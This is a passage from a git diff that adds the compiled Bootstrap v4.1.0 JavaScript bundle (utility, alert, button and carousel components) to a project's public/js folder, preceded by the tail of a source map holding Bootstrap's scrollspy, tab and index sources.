$(this._scrollElement).off(EVENT_KEY)\n\n this._element = null\n this._scrollElement = null\n this._config = null\n this._selector = null\n this._offsets = null\n this._targets = null\n this._activeTarget = null\n this._scrollHeight = null\n }\n\n // Private\n\n _getConfig(config) {\n config = {\n ...Default,\n ...config\n }\n\n if (typeof config.target !== 'string') {\n let id = $(config.target).attr('id')\n if (!id) {\n id = Util.getUID(NAME)\n $(config.target).attr('id', id)\n }\n config.target = `#${id}`\n }\n\n Util.typeCheckConfig(NAME, config, DefaultType)\n\n return config\n }\n\n _getScrollTop() {\n return this._scrollElement === window\n ? this._scrollElement.pageYOffset : this._scrollElement.scrollTop\n }\n\n _getScrollHeight() {\n return this._scrollElement.scrollHeight || Math.max(\n document.body.scrollHeight,\n document.documentElement.scrollHeight\n )\n }\n\n _getOffsetHeight() {\n return this._scrollElement === window\n ? window.innerHeight : this._scrollElement.getBoundingClientRect().height\n }\n\n _process() {\n const scrollTop = this._getScrollTop() + this._config.offset\n const scrollHeight = this._getScrollHeight()\n const maxScroll = this._config.offset +\n scrollHeight -\n this._getOffsetHeight()\n\n if (this._scrollHeight !== scrollHeight) {\n this.refresh()\n }\n\n if (scrollTop >= maxScroll) {\n const target = this._targets[this._targets.length - 1]\n\n if (this._activeTarget !== target) {\n this._activate(target)\n }\n return\n }\n\n if (this._activeTarget && scrollTop < this._offsets[0] && this._offsets[0] > 0) {\n this._activeTarget = null\n this._clear()\n return\n }\n\n for (let i = this._offsets.length; i--;) {\n const isActiveTarget = this._activeTarget !== this._targets[i] &&\n scrollTop >= this._offsets[i] &&\n (typeof this._offsets[i + 1] === 'undefined' ||\n scrollTop < this._offsets[i + 1])\n\n if (isActiveTarget) {\n this._activate(this._targets[i])\n }\n }\n }\n\n _activate(target) {\n this._activeTarget = target\n\n this._clear()\n\n let queries = this._selector.split(',')\n // eslint-disable-next-line arrow-body-style\n queries = queries.map((selector) => {\n return `${selector}[data-target=\"${target}\"],` +\n `${selector}[href=\"${target}\"]`\n })\n\n const $link = $(queries.join(','))\n\n if ($link.hasClass(ClassName.DROPDOWN_ITEM)) {\n $link.closest(Selector.DROPDOWN).find(Selector.DROPDOWN_TOGGLE).addClass(ClassName.ACTIVE)\n $link.addClass(ClassName.ACTIVE)\n } else {\n // Set triggered link as active\n $link.addClass(ClassName.ACTIVE)\n // Set triggered links parents as active\n // With both <ul> and <nav> markup a parent is the previous sibling of any nav ancestor\n $link.parents(Selector.NAV_LIST_GROUP).prev(`${Selector.NAV_LINKS}, ${Selector.LIST_ITEMS}`).addClass(ClassName.ACTIVE)\n // Handle special case when .nav-link is inside .nav-item\n $link.parents(Selector.NAV_LIST_GROUP).prev(Selector.NAV_ITEMS).children(Selector.NAV_LINKS).addClass(ClassName.ACTIVE)\n }\n\n $(this._scrollElement).trigger(Event.ACTIVATE, {\n relatedTarget: target\n })\n }\n\n _clear() {\n $(this._selector).filter(Selector.ACTIVE).removeClass(ClassName.ACTIVE)\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n const _config = typeof config === 'object' && config\n\n if (!data) {\n data = new ScrollSpy(this, _config)\n $(this).data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config]()\n }\n })\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(window).on(Event.LOAD_DATA_API, () => {\n const scrollSpys = $.makeArray($(Selector.DATA_SPY))\n\n for (let i = scrollSpys.length; i--;) {\n const $spy = $(scrollSpys[i])\n ScrollSpy._jQueryInterface.call($spy, $spy.data())\n }\n })\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = ScrollSpy._jQueryInterface\n $.fn[NAME].Constructor = ScrollSpy\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return ScrollSpy._jQueryInterface\n }\n\n return ScrollSpy\n})($)\n\nexport default ScrollSpy\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): tab.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Tab = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'tab'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.tab'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n\n const Event = {\n HIDE : `hide${EVENT_KEY}`,\n HIDDEN : `hidden${EVENT_KEY}`,\n SHOW : `show${EVENT_KEY}`,\n SHOWN : `shown${EVENT_KEY}`,\n CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n }\n\n const ClassName = {\n DROPDOWN_MENU : 'dropdown-menu',\n ACTIVE : 'active',\n DISABLED : 'disabled',\n FADE : 'fade',\n SHOW : 'show'\n }\n\n const Selector = {\n DROPDOWN : '.dropdown',\n NAV_LIST_GROUP : '.nav, .list-group',\n ACTIVE : '.active',\n ACTIVE_UL : '> li > .active',\n DATA_TOGGLE : '[data-toggle=\"tab\"], [data-toggle=\"pill\"], [data-toggle=\"list\"]',\n DROPDOWN_TOGGLE : '.dropdown-toggle',\n DROPDOWN_ACTIVE_CHILD : '> .dropdown-menu .active'\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Tab {\n constructor(element) {\n this._element = element\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n // Public\n\n show() {\n if (this._element.parentNode &&\n this._element.parentNode.nodeType === Node.ELEMENT_NODE &&\n $(this._element).hasClass(ClassName.ACTIVE) ||\n $(this._element).hasClass(ClassName.DISABLED)) {\n return\n }\n\n let target\n let previous\n const listElement = $(this._element).closest(Selector.NAV_LIST_GROUP)[0]\n const selector = Util.getSelectorFromElement(this._element)\n\n if (listElement) {\n const itemSelector = listElement.nodeName === 'UL' ? Selector.ACTIVE_UL : Selector.ACTIVE\n previous = $.makeArray($(listElement).find(itemSelector))\n previous = previous[previous.length - 1]\n }\n\n const hideEvent = $.Event(Event.HIDE, {\n relatedTarget: this._element\n })\n\n const showEvent = $.Event(Event.SHOW, {\n relatedTarget: previous\n })\n\n if (previous) {\n $(previous).trigger(hideEvent)\n }\n\n $(this._element).trigger(showEvent)\n\n if (showEvent.isDefaultPrevented() ||\n hideEvent.isDefaultPrevented()) {\n return\n }\n\n if (selector) {\n target = $(selector)[0]\n }\n\n this._activate(\n this._element,\n listElement\n )\n\n const complete = () => {\n const hiddenEvent = $.Event(Event.HIDDEN, {\n relatedTarget: this._element\n })\n\n const shownEvent = $.Event(Event.SHOWN, {\n relatedTarget: previous\n })\n\n $(previous).trigger(hiddenEvent)\n $(this._element).trigger(shownEvent)\n }\n\n if (target) {\n this._activate(target, target.parentNode, complete)\n } else {\n complete()\n }\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n this._element = null\n }\n\n // Private\n\n _activate(element, container, callback) {\n let activeElements\n if (container.nodeName === 'UL') {\n activeElements = $(container).find(Selector.ACTIVE_UL)\n } else {\n activeElements = $(container).children(Selector.ACTIVE)\n }\n\n const active = activeElements[0]\n const isTransitioning = callback &&\n (active && $(active).hasClass(ClassName.FADE))\n\n const complete = () => this._transitionComplete(\n element,\n active,\n callback\n )\n\n if (active && isTransitioning) {\n const transitionDuration = Util.getTransitionDurationFromElement(active)\n\n $(active)\n .one(Util.TRANSITION_END, complete)\n .emulateTransitionEnd(transitionDuration)\n } else {\n complete()\n }\n }\n\n _transitionComplete(element, active, callback) {\n if (active) {\n $(active).removeClass(`${ClassName.SHOW} ${ClassName.ACTIVE}`)\n\n const dropdownChild = $(active.parentNode).find(\n Selector.DROPDOWN_ACTIVE_CHILD\n )[0]\n\n if (dropdownChild) {\n $(dropdownChild).removeClass(ClassName.ACTIVE)\n }\n\n if (active.getAttribute('role') === 'tab') {\n active.setAttribute('aria-selected', false)\n }\n }\n\n $(element).addClass(ClassName.ACTIVE)\n if (element.getAttribute('role') === 'tab') {\n element.setAttribute('aria-selected', true)\n }\n\n Util.reflow(element)\n $(element).addClass(ClassName.SHOW)\n\n if (element.parentNode &&\n $(element.parentNode).hasClass(ClassName.DROPDOWN_MENU)) {\n const dropdownElement = $(element).closest(Selector.DROPDOWN)[0]\n if (dropdownElement) {\n $(dropdownElement).find(Selector.DROPDOWN_TOGGLE).addClass(ClassName.ACTIVE)\n }\n\n element.setAttribute('aria-expanded', true)\n }\n\n if (callback) {\n callback()\n }\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n const $this = $(this)\n let data = $this.data(DATA_KEY)\n\n if (!data) {\n data = new Tab(this)\n $this.data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config]()\n }\n })\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(document)\n .on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n event.preventDefault()\n Tab._jQueryInterface.call($(this), 'show')\n })\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Tab._jQueryInterface\n $.fn[NAME].Constructor = Tab\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Tab._jQueryInterface\n }\n\n return Tab\n})($)\n\nexport default Tab\n","import $ from 'jquery'\nimport Alert from './alert'\nimport Button from './button'\nimport Carousel from './carousel'\nimport Collapse from './collapse'\nimport Dropdown from './dropdown'\nimport Modal from './modal'\nimport Popover from './popover'\nimport Scrollspy from './scrollspy'\nimport Tab from './tab'\nimport Tooltip from './tooltip'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.0.0): index.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\n(($) => {\n if (typeof $ === 'undefined') {\n throw new TypeError('Bootstrap\\'s JavaScript requires jQuery. jQuery must be included before Bootstrap\\'s JavaScript.')\n }\n\n const version = $.fn.jquery.split(' ')[0].split('.')\n const minMajor = 1\n const ltMajor = 2\n const minMinor = 9\n const minPatch = 1\n const maxMajor = 4\n\n if (version[0] < ltMajor && version[1] < minMinor || version[0] === minMajor && version[1] === minMinor && version[2] < minPatch || version[0] >= maxMajor) {\n throw new Error('Bootstrap\\'s JavaScript requires at least jQuery v1.9.1 but less than v4.0.0')\n }\n})($)\n\nexport {\n Util,\n Alert,\n Button,\n Carousel,\n Collapse,\n Dropdown,\n Modal,\n Popover,\n Scrollspy,\n Tab,\n Tooltip\n}\n"]} \ No newline at end of file diff --git a/public/js/bootstrap.js b/public/js/bootstrap.js new file mode 100644 index 0000000..546a94f --- /dev/null +++ b/public/js/bootstrap.js @@ -0,0 +1,3925 @@ +/*! + * Bootstrap v4.1.0 (https://getbootstrap.com/) + * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ +(function (global, factory) { + typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('jquery'), require('popper.js')) : + typeof define === 'function' && define.amd ? define(['exports', 'jquery', 'popper.js'], factory) : + (factory((global.bootstrap = {}),global.jQuery,global.Popper)); +}(this, (function (exports,$,Popper) { 'use strict'; + + $ = $ && $.hasOwnProperty('default') ? $['default'] : $; + Popper = Popper && Popper.hasOwnProperty('default') ? Popper['default'] : Popper; + + function _defineProperties(target, props) { + for (var i = 0; i < props.length; i++) { + var descriptor = props[i]; + descriptor.enumerable = descriptor.enumerable || false; + descriptor.configurable = true; + if ("value" in descriptor) descriptor.writable = true; + Object.defineProperty(target, descriptor.key, descriptor); + } + } + + function _createClass(Constructor, protoProps, staticProps) { + if (protoProps) _defineProperties(Constructor.prototype, protoProps); + if (staticProps) _defineProperties(Constructor, staticProps); + return Constructor; + } + + function _defineProperty(obj, key, value) { + if (key in obj) { + Object.defineProperty(obj, key, { + value: value, + enumerable: true, + configurable: true, + writable: true + }); + } else { + obj[key] = value; + } + + return obj; + } + + function _objectSpread(target) { + for (var i = 1; i < arguments.length; i++) { + var source = arguments[i] != null ? arguments[i] : {}; + var ownKeys = Object.keys(source); + + if (typeof Object.getOwnPropertySymbols === 'function') { + ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) { + return Object.getOwnPropertyDescriptor(source, sym).enumerable; + })); + } + + ownKeys.forEach(function (key) { + _defineProperty(target, key, source[key]); + }); + } + + return target; + } + + function _inheritsLoose(subClass, superClass) { + subClass.prototype = Object.create(superClass.prototype); + subClass.prototype.constructor = subClass; + subClass.__proto__ = superClass; + } + + /** + * -------------------------------------------------------------------------- + * Bootstrap (v4.1.0): util.js + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * -------------------------------------------------------------------------- + */ + + var Util = function ($$$1) { + /** + * ------------------------------------------------------------------------ + * Private TransitionEnd Helpers + * ------------------------------------------------------------------------ + */ + var TRANSITION_END = 'transitionend'; + var MAX_UID = 1000000; + var MILLISECONDS_MULTIPLIER = 1000; // Shoutout AngusCroll (https://goo.gl/pxwQGp) + + function toType(obj) { + return {}.toString.call(obj).match(/\s([a-z]+)/i)[1].toLowerCase(); + } + + function getSpecialTransitionEndEvent() { + return { + bindType: TRANSITION_END, + delegateType: TRANSITION_END, + handle: function handle(event) { + if ($$$1(event.target).is(this)) { + return event.handleObj.handler.apply(this, arguments); // eslint-disable-line prefer-rest-params + } + + return undefined; // eslint-disable-line no-undefined + } + }; + } + + function transitionEndEmulator(duration) { + var _this = this; + + var called = false; + $$$1(this).one(Util.TRANSITION_END, function () { + called = true; + }); + setTimeout(function () { + if (!called) { + Util.triggerTransitionEnd(_this); + } + }, duration); + return this; + } + + function setTransitionEndSupport() { + $$$1.fn.emulateTransitionEnd = transitionEndEmulator; + $$$1.event.special[Util.TRANSITION_END] = getSpecialTransitionEndEvent(); + } + /** + * -------------------------------------------------------------------------- + * Public Util Api + * -------------------------------------------------------------------------- + */ + + + var Util = { + TRANSITION_END: 'bsTransitionEnd', + getUID: function getUID(prefix) { + do { + // eslint-disable-next-line no-bitwise + prefix += ~~(Math.random() * MAX_UID); // "~~" acts like a faster Math.floor() here + } while (document.getElementById(prefix)); + + return prefix; + }, + getSelectorFromElement: function getSelectorFromElement(element) { + var selector = element.getAttribute('data-target'); + + if (!selector || selector === '#') { + selector = element.getAttribute('href') || ''; + } + + try { + var $selector = $$$1(document).find(selector); + return $selector.length > 0 ? selector : null; + } catch (err) { + return null; + } + }, + getTransitionDurationFromElement: function getTransitionDurationFromElement(element) { + if (!element) { + return 0; + } // Get transition-duration of the element + + + var transitionDuration = $$$1(element).css('transition-duration'); + var floatTransitionDuration = parseFloat(transitionDuration); // Return 0 if element or transition duration is not found + + if (!floatTransitionDuration) { + return 0; + } // If multiple durations are defined, take the first + + + transitionDuration = transitionDuration.split(',')[0]; + return parseFloat(transitionDuration) * MILLISECONDS_MULTIPLIER; + }, + reflow: function reflow(element) { + return element.offsetHeight; + }, + triggerTransitionEnd: function triggerTransitionEnd(element) { + $$$1(element).trigger(TRANSITION_END); + }, + // TODO: Remove in v5 + supportsTransitionEnd: function supportsTransitionEnd() { + return Boolean(TRANSITION_END); + }, + isElement: function isElement(obj) { + return (obj[0] || obj).nodeType; + }, + typeCheckConfig: function typeCheckConfig(componentName, config, configTypes) { + for (var property in configTypes) { + if (Object.prototype.hasOwnProperty.call(configTypes, property)) { + var expectedTypes = configTypes[property]; + var value = config[property]; + var valueType = value && Util.isElement(value) ? 'element' : toType(value); + + if (!new RegExp(expectedTypes).test(valueType)) { + throw new Error(componentName.toUpperCase() + ": " + ("Option \"" + property + "\" provided type \"" + valueType + "\" ") + ("but expected type \"" + expectedTypes + "\".")); + } + } + } + } + }; + setTransitionEndSupport(); + return Util; + }($); + + /** + * -------------------------------------------------------------------------- + * Bootstrap (v4.1.0): alert.js + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * -------------------------------------------------------------------------- + */ + + var Alert = function ($$$1) { + /** + * ------------------------------------------------------------------------ + * Constants + * ------------------------------------------------------------------------ + */ + var NAME = 'alert'; + var VERSION = '4.1.0'; + var DATA_KEY = 'bs.alert'; + var EVENT_KEY = "." + DATA_KEY; + var DATA_API_KEY = '.data-api'; + var JQUERY_NO_CONFLICT = $$$1.fn[NAME]; + var Selector = { + DISMISS: '[data-dismiss="alert"]' + }; + var Event = { + CLOSE: "close" + EVENT_KEY, + CLOSED: "closed" + EVENT_KEY, + CLICK_DATA_API: "click" + EVENT_KEY + DATA_API_KEY + }; + var ClassName = { + ALERT: 'alert', + FADE: 'fade', + SHOW: 'show' + /** + * ------------------------------------------------------------------------ + * Class Definition + * ------------------------------------------------------------------------ + */ + + }; + + var Alert = + /*#__PURE__*/ + function () { + function Alert(element) { + this._element = element; + } // Getters + + + var _proto = Alert.prototype; + + // Public + _proto.close = function close(element) { + element = element || this._element; + + var rootElement = this._getRootElement(element); + + var customEvent = this._triggerCloseEvent(rootElement); + + if (customEvent.isDefaultPrevented()) { + return; + } + + this._removeElement(rootElement); + }; + + _proto.dispose = function dispose() { + $$$1.removeData(this._element, DATA_KEY); + this._element = null; + }; // Private + + + _proto._getRootElement = function _getRootElement(element) { + var selector = Util.getSelectorFromElement(element); + var parent = false; + + if (selector) { + parent = $$$1(selector)[0]; + } + + if (!parent) { + parent = $$$1(element).closest("." + ClassName.ALERT)[0]; + } + + return parent; + }; + + _proto._triggerCloseEvent = function _triggerCloseEvent(element) { + var closeEvent = $$$1.Event(Event.CLOSE); + $$$1(element).trigger(closeEvent); + return closeEvent; + }; + + _proto._removeElement = function _removeElement(element) { + var _this = this; + + $$$1(element).removeClass(ClassName.SHOW); + + if (!$$$1(element).hasClass(ClassName.FADE)) { + this._destroyElement(element); + + return; + } + + var transitionDuration = Util.getTransitionDurationFromElement(element); + $$$1(element).one(Util.TRANSITION_END, function (event) { + return _this._destroyElement(element, event); + }).emulateTransitionEnd(transitionDuration); + }; + + _proto._destroyElement = function _destroyElement(element) { + $$$1(element).detach().trigger(Event.CLOSED).remove(); + }; // Static + + + Alert._jQueryInterface = function _jQueryInterface(config) { + return this.each(function () { + var $element = $$$1(this); + var data = $element.data(DATA_KEY); + + if (!data) { + data = new Alert(this); + $element.data(DATA_KEY, data); + } + + if (config === 'close') { + data[config](this); + } + }); + }; + + Alert._handleDismiss = function _handleDismiss(alertInstance) { + return function (event) { + if (event) { + event.preventDefault(); + } + + alertInstance.close(this); + }; + }; + + _createClass(Alert, null, [{ + key: "VERSION", + get: function get() { + return VERSION; + } + }]); + + return Alert; + }(); + /** + * ------------------------------------------------------------------------ + * Data Api implementation + * ------------------------------------------------------------------------ + */ + + + $$$1(document).on(Event.CLICK_DATA_API, Selector.DISMISS, Alert._handleDismiss(new Alert())); + /** + * ------------------------------------------------------------------------ + * jQuery + * ------------------------------------------------------------------------ + */ + + $$$1.fn[NAME] = Alert._jQueryInterface; + $$$1.fn[NAME].Constructor = Alert; + + $$$1.fn[NAME].noConflict = function () { + $$$1.fn[NAME] = JQUERY_NO_CONFLICT; + return Alert._jQueryInterface; + }; + + return Alert; + }($); + + /** + * -------------------------------------------------------------------------- + * Bootstrap (v4.1.0): button.js + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * -------------------------------------------------------------------------- + */ + + var Button = function ($$$1) { + /** + * ------------------------------------------------------------------------ + * Constants + * ------------------------------------------------------------------------ + */ + var NAME = 'button'; + var VERSION = '4.1.0'; + var DATA_KEY = 'bs.button'; + var EVENT_KEY = "." + DATA_KEY; + var DATA_API_KEY = '.data-api'; + var JQUERY_NO_CONFLICT = $$$1.fn[NAME]; + var ClassName = { + ACTIVE: 'active', + BUTTON: 'btn', + FOCUS: 'focus' + }; + var Selector = { + DATA_TOGGLE_CARROT: '[data-toggle^="button"]', + DATA_TOGGLE: '[data-toggle="buttons"]', + INPUT: 'input', + ACTIVE: '.active', + BUTTON: '.btn' + }; + var Event = { + CLICK_DATA_API: "click" + EVENT_KEY + DATA_API_KEY, + FOCUS_BLUR_DATA_API: "focus" + EVENT_KEY + DATA_API_KEY + " " + ("blur" + EVENT_KEY + DATA_API_KEY) + /** + * ------------------------------------------------------------------------ + * Class Definition + * ------------------------------------------------------------------------ + */ + + }; + + var Button = + /*#__PURE__*/ + function () { + function Button(element) { + this._element = element; + } // Getters + + + var _proto = Button.prototype; + + // Public + _proto.toggle = function toggle() { + var triggerChangeEvent = true; + var addAriaPressed = true; + var rootElement = $$$1(this._element).closest(Selector.DATA_TOGGLE)[0]; + + if (rootElement) { + var input = $$$1(this._element).find(Selector.INPUT)[0]; + + if (input) { + if (input.type === 'radio') { + if (input.checked && $$$1(this._element).hasClass(ClassName.ACTIVE)) { + triggerChangeEvent = false; + } else { + var activeElement = $$$1(rootElement).find(Selector.ACTIVE)[0]; + + if (activeElement) { + $$$1(activeElement).removeClass(ClassName.ACTIVE); + } + } + } + + if (triggerChangeEvent) { + if (input.hasAttribute('disabled') || rootElement.hasAttribute('disabled') || input.classList.contains('disabled') || rootElement.classList.contains('disabled')) { + return; + } + + input.checked = !$$$1(this._element).hasClass(ClassName.ACTIVE); + $$$1(input).trigger('change'); + } + + input.focus(); + addAriaPressed = false; + } + } + + if (addAriaPressed) { + this._element.setAttribute('aria-pressed', !$$$1(this._element).hasClass(ClassName.ACTIVE)); + } + + if (triggerChangeEvent) { + $$$1(this._element).toggleClass(ClassName.ACTIVE); + } + }; + + _proto.dispose = function dispose() { + $$$1.removeData(this._element, DATA_KEY); + this._element = null; + }; // Static + + + Button._jQueryInterface = function _jQueryInterface(config) { + return this.each(function () { + var data = $$$1(this).data(DATA_KEY); + + if (!data) { + data = new Button(this); + $$$1(this).data(DATA_KEY, data); + } + + if (config === 'toggle') { + data[config](); + } + }); + }; + + _createClass(Button, null, [{ + key: "VERSION", + get: function get() { + return VERSION; + } + }]); + + return Button; + }(); + /** + * ------------------------------------------------------------------------ + * Data Api implementation + * ------------------------------------------------------------------------ + */ + + + $$$1(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE_CARROT, function (event) { + event.preventDefault(); + var button = event.target; + + if (!$$$1(button).hasClass(ClassName.BUTTON)) { + button = $$$1(button).closest(Selector.BUTTON); + } + + Button._jQueryInterface.call($$$1(button), 'toggle'); + }).on(Event.FOCUS_BLUR_DATA_API, Selector.DATA_TOGGLE_CARROT, function (event) { + var button = $$$1(event.target).closest(Selector.BUTTON)[0]; + $$$1(button).toggleClass(ClassName.FOCUS, /^focus(in)?$/.test(event.type)); + }); + /** + * ------------------------------------------------------------------------ + * jQuery + * ------------------------------------------------------------------------ + */ + + $$$1.fn[NAME] = Button._jQueryInterface; + $$$1.fn[NAME].Constructor = Button; + + $$$1.fn[NAME].noConflict = function () { + $$$1.fn[NAME] = JQUERY_NO_CONFLICT; + return Button._jQueryInterface; + }; + + return Button; + }($); + + /** + * -------------------------------------------------------------------------- + * Bootstrap (v4.1.0): carousel.js + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * -------------------------------------------------------------------------- + */ + + var Carousel = function ($$$1) { + /** + * ------------------------------------------------------------------------ + * Constants + * ------------------------------------------------------------------------ + */ + var NAME = 'carousel'; + var VERSION = '4.1.0'; + var DATA_KEY = 'bs.carousel'; + var EVENT_KEY = "." + DATA_KEY; + var DATA_API_KEY = '.data-api'; + var JQUERY_NO_CONFLICT = $$$1.fn[NAME]; + var ARROW_LEFT_KEYCODE = 37; // KeyboardEvent.which value for left arrow key + + var ARROW_RIGHT_KEYCODE = 39; // KeyboardEvent.which value for right arrow key + + var TOUCHEVENT_COMPAT_WAIT = 500; // Time for mouse compat events to fire after touch + + var Default = { + interval: 5000, + keyboard: true, + slide: false, + pause: 'hover', + wrap: true + }; + var DefaultType = { + interval: '(number|boolean)', + keyboard: 'boolean', + slide: '(boolean|string)', + pause: '(string|boolean)', + wrap: 'boolean' + }; + var Direction = { + NEXT: 'next', + PREV: 'prev', + LEFT: 'left', + RIGHT: 'right' + }; + var Event = { + SLIDE: "slide" + EVENT_KEY, + SLID: "slid" + EVENT_KEY, + KEYDOWN: "keydown" + EVENT_KEY, + MOUSEENTER: "mouseenter" + EVENT_KEY, + MOUSELEAVE: "mouseleave" + EVENT_KEY, + TOUCHEND: "touchend" + EVENT_KEY, + LOAD_DATA_API: "load" + EVENT_KEY + DATA_API_KEY, + CLICK_DATA_API: "click" + EVENT_KEY + DATA_API_KEY + }; + var ClassName = { + CAROUSEL: 'carousel', + ACTIVE: 'active', + SLIDE: 'slide', + RIGHT: 'carousel-item-right', + LEFT: 'carousel-item-left', + NEXT: 'carousel-item-next', + PREV: 'carousel-item-prev', + ITEM: 'carousel-item' + }; + var Selector = { + ACTIVE: '.active', + ACTIVE_ITEM: '.active.carousel-item', + ITEM: '.carousel-item', + NEXT_PREV: '.carousel-item-next, .carousel-item-prev', + INDICATORS: '.carousel-indicators', + DATA_SLIDE: '[data-slide], [data-slide-to]', + DATA_RIDE: '[data-ride="carousel"]' + /** + * ------------------------------------------------------------------------ + * Class Definition + * ------------------------------------------------------------------------ + */ + + }; + + var Carousel = + /*#__PURE__*/ + function () { + function Carousel(element, config) { + this._items = null; + this._interval = null; + this._activeElement = null; + this._isPaused = false; + this._isSliding = false; + this.touchTimeout = null; + this._config = this._getConfig(config); + this._element = $$$1(element)[0]; + this._indicatorsElement = $$$1(this._element).find(Selector.INDICATORS)[0]; + + this._addEventListeners(); + } // Getters + + + var _proto = Carousel.prototype; + + // Public + _proto.next = function next() { + if (!this._isSliding) { + this._slide(Direction.NEXT); + } + }; + + _proto.nextWhenVisible = function nextWhenVisible() { + // Don't call next when the page isn't visible + // or the carousel or its parent isn't visible + if (!document.hidden && $$$1(this._element).is(':visible') && $$$1(this._element).css('visibility') !== 'hidden') { + this.next(); + } + }; + + _proto.prev = function prev() { + if (!this._isSliding) { + this._slide(Direction.PREV); + } + }; + + _proto.pause = function pause(event) { + if (!event) { + this._isPaused = true; + } + + if ($$$1(this._element).find(Selector.NEXT_PREV)[0]) { + Util.triggerTransitionEnd(this._element); + this.cycle(true); + } + + clearInterval(this._interval); + this._interval = null; + }; + + _proto.cycle = function cycle(event) { + if (!event) { + this._isPaused = false; + } + + if (this._interval) { + clearInterval(this._interval); + this._interval = null; + } + + if (this._config.interval && !this._isPaused) { + this._interval = setInterval((document.visibilityState ? this.nextWhenVisible : this.next).bind(this), this._config.interval); + } + }; + + _proto.to = function to(index) { + var _this = this; + + this._activeElement = $$$1(this._element).find(Selector.ACTIVE_ITEM)[0]; + + var activeIndex = this._getItemIndex(this._activeElement); + + if (index > this._items.length - 1 || index < 0) { + return; + } + + if (this._isSliding) { + $$$1(this._element).one(Event.SLID, function () { + return _this.to(index); + }); + return; + } + + if (activeIndex === index) { + this.pause(); + this.cycle(); + return; + } + + var direction = index > activeIndex ? Direction.NEXT : Direction.PREV; + + this._slide(direction, this._items[index]); + }; + + _proto.dispose = function dispose() { + $$$1(this._element).off(EVENT_KEY); + $$$1.removeData(this._element, DATA_KEY); + this._items = null; + this._config = null; + this._element = null; + this._interval = null; + this._isPaused = null; + this._isSliding = null; + this._activeElement = null; + this._indicatorsElement = null; + }; // Private + + + _proto._getConfig = function _getConfig(config) { + config = _objectSpread({}, Default, config); + Util.typeCheckConfig(NAME, config, DefaultType); + return config; + }; + + _proto._addEventListeners = function _addEventListeners() { + var _this2 = this; + + if (this._config.keyboard) { + $$$1(this._element).on(Event.KEYDOWN, function (event) { + return _this2._keydown(event); + }); + } + + if (this._config.pause === 'hover') { + $$$1(this._element).on(Event.MOUSEENTER, function (event) { + return _this2.pause(event); + }).on(Event.MOUSELEAVE, function (event) { + return _this2.cycle(event); + }); + + if ('ontouchstart' in document.documentElement) { + // If it's a touch-enabled device, mouseenter/leave are fired as + // part of the mouse compatibility events on first tap - the carousel + // would stop cycling until user tapped out of it; + // here, we listen for touchend, explicitly pause the carousel + // (as if it's the second time we tap on it, mouseenter compat event + // is NOT fired) and after a timeout (to allow for mouse compatibility + // events to fire) we explicitly restart cycling + $$$1(this._element).on(Event.TOUCHEND, function () { + _this2.pause(); + + if (_this2.touchTimeout) { + clearTimeout(_this2.touchTimeout); + } + + _this2.touchTimeout = setTimeout(function (event) { + return _this2.cycle(event); + }, TOUCHEVENT_COMPAT_WAIT + _this2._config.interval); + }); + } + } + }; + + _proto._keydown = function _keydown(event) { + if (/input|textarea/i.test(event.target.tagName)) { + return; + } + + switch (event.which) { + case ARROW_LEFT_KEYCODE: + event.preventDefault(); + this.prev(); + break; + + case ARROW_RIGHT_KEYCODE: + event.preventDefault(); + this.next(); + break; + + default: + } + }; + + _proto._getItemIndex = function _getItemIndex(element) { + this._items = $$$1.makeArray($$$1(element).parent().find(Selector.ITEM)); + return this._items.indexOf(element); + }; + + _proto._getItemByDirection = function _getItemByDirection(direction, activeElement) { + var isNextDirection = direction === Direction.NEXT; + var isPrevDirection = direction === Direction.PREV; + + var activeIndex = this._getItemIndex(activeElement); + + var lastItemIndex = this._items.length - 1; + var isGoingToWrap = isPrevDirection && activeIndex === 0 || isNextDirection && activeIndex === lastItemIndex; + + if 